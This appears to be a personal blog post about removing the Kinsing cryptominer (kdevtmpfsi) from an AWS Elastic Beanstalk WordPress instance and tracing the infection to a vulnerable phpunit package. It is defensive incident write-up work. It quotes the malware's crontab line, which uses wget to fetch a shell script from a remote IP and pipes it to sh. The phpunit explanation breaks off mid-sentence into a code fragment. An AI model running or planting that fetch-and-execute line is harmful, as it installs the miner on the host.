AWS EC2 instance used up CPU 100% – Malware kdevtmpfsi


Shortly after setting up my Elastic Beanstalk Environment , running WordPress application, I noticed that my beanstalk environment was reporting degraded instances 100% CPU utilization. I setup some monitoring using cloudWatch on the EC2 instance concerned and sure enough, after some hours after the instance had started I was getting 100% CPU utilization on the webapp user process.

Running top on the instance clearly showed kdevtmpfsi was the culprit. I tried killing the process (kill -9 ), but the process would start right back up again.

It turns out that kdevtmpfsi is a malware cryptocurency miner (Kinsing attack). Well known for targeting misconfigured cloud native envronments. It is also known for its comprehensive attack patterns, as well as defense evasion schemes.

So, the fix for me: I’m running Amazon 2 instances in Elastic Beanstalk.

  • Kill the process & delete the malware files
                    

$ sudo killall kdevtmpfsi

$ sudo killall kinsing

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} ;

$ sudo find / -iname kinsing* -exec rm -fv {} ;

$ sudo chown root:root /tmp/kdevtmpfsi /tmp/kinsing

$ sudo chmod 0444 /tmp/kdevtmpfsi

$ sudo chmod 0444 /tmp/kinsing

  •  Check the webapp crontab
                    

$ sudo crontab -u webapp -e

If you see this, just remove them

                    

* * * * * wget -q -O – http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

* * * * * wget -q -O – http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

  • Reboot Instance to be sure.

Now, the real question is how did I get infected, and how can I prevent it in the future?

It might be due to an unpatched PHP Remote Code Execution vulnerability. 

Hum… seems I found the issue. 

When deploying Elasitic Beanstalk , I was gettting a warning message, saying the I was missing a composer.json file. So, I took the first composer.json I found and copied it to my webservers root directory. This was a big mistake. Checking this file, I can see that phpunit/phpunit is installed. 

phpunit/phpunit is vulnerable to Remote Code Execution (RCE).

phpunit is vulnerable to remote code execution (RCE) attacks. A malicious user can inject and execute arbitrary PHP script by using the `    “phpunit/phpunit”: “^3|^4|^5|^6|^7”
  },

  completely changed the composer.json file to a safe version, and this fixed the vulnerability.

 

 

Leave a comment

Your email address will not be published. Required fields are marked *